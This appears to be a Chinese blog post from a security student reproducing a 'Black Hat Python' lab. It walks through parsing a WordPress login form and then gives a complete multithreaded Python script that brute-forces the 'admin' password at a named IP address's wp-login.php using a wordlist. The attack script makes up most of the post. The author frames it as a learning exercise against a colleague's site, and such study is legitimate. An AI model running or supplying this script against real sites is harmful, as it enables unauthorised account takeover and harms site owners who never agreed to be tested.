近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》，书中一共24个实验，今天复现第14个实验（密码猜测），我的测试环境是mbp电脑+同事的wordpress站点+conda开发环境。有一说一，弱口令是脆弱的，但是复杂密码根本猜不出来，需要分析站点POST请求和响应是值得肯定的，但是等着耗着CPU和网络是不可取的～
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
1、查阅wordpress站点登录页面源代码
首先GET请求，接受返回的所有cookie
解析返回页面中的表单元素（观察input标签，log是用户名、pwd是密码、wp-submit是提交、testcookie是隐藏cookie）
修改返回页面中的表单元素（将用户名设置为“admin”，将密码设置为字典中的每个元素，其他不变）
提交POST请求
2、下载字典文件
3、在mbp上运行脚本
参考代码：
# -*- coding: utf-8 -*-# @Time : 2022/6/13 9:47 PM# @Author : ailx10# @File : wordpress_killer.pyfrom io import BytesIOfrom lxml import etreefrom queue import Queueimport requestsimport sysimport threadingimport time# SUCCESS = "Welcome to WordPress!"SUCCESS = "欢迎"TARGET = "http://124.223.4.212/wp-login.php"WORDLIST = "/Users/ailx10/py3hack/chapter5/cain.txt"def get_words: with open(WORDLIST) as f: raw_words = f.read words = Queue for word in raw_words.split: words.put(word) return wordsdef get_params(content): params = dict parser = etree.HTMLParser tree = etree.parse(BytesIO(content),parser=parser) for elem in tree.findall("//input"): name = elem.get("name") if name is not None: params[name] = elem.get("value",None) return paramsclass Bruter: def __init__(self,username,url): self.username = username self.url = url self.found = False print(f" Brute Force Attack beginning on {url}. ") print("Finished the setup where username = %s "%username) def run_bruteforce(self,passwords): for _ in range(10): t = threading.Thread(target=self.web_bruter,args=(passwords,)) t.start def web_bruter(self,passwords): session = requests.Session resp0 = session.get(self.url) params = get_params(resp0.content) params["log"] = self.username while not passwords.empty and not self.found: time.sleep(1) passwd = passwords.get print(f"Trying username/password {self.username}/{passwd:<10}") params["pwd"] = passwd resp1 = session.post(self.url,data=params) if SUCCESS in resp1.content.decode: self.found = True print(f" Bruteforcing successful.") print("Username is %s"%self.username) print("Password is %s "%passwd) print("done.")if __name__ == "__main__": words = get_words b = Bruter("admin",TARGET) b.run_bruteforce(words)
发布于 2022-06-13 22:23
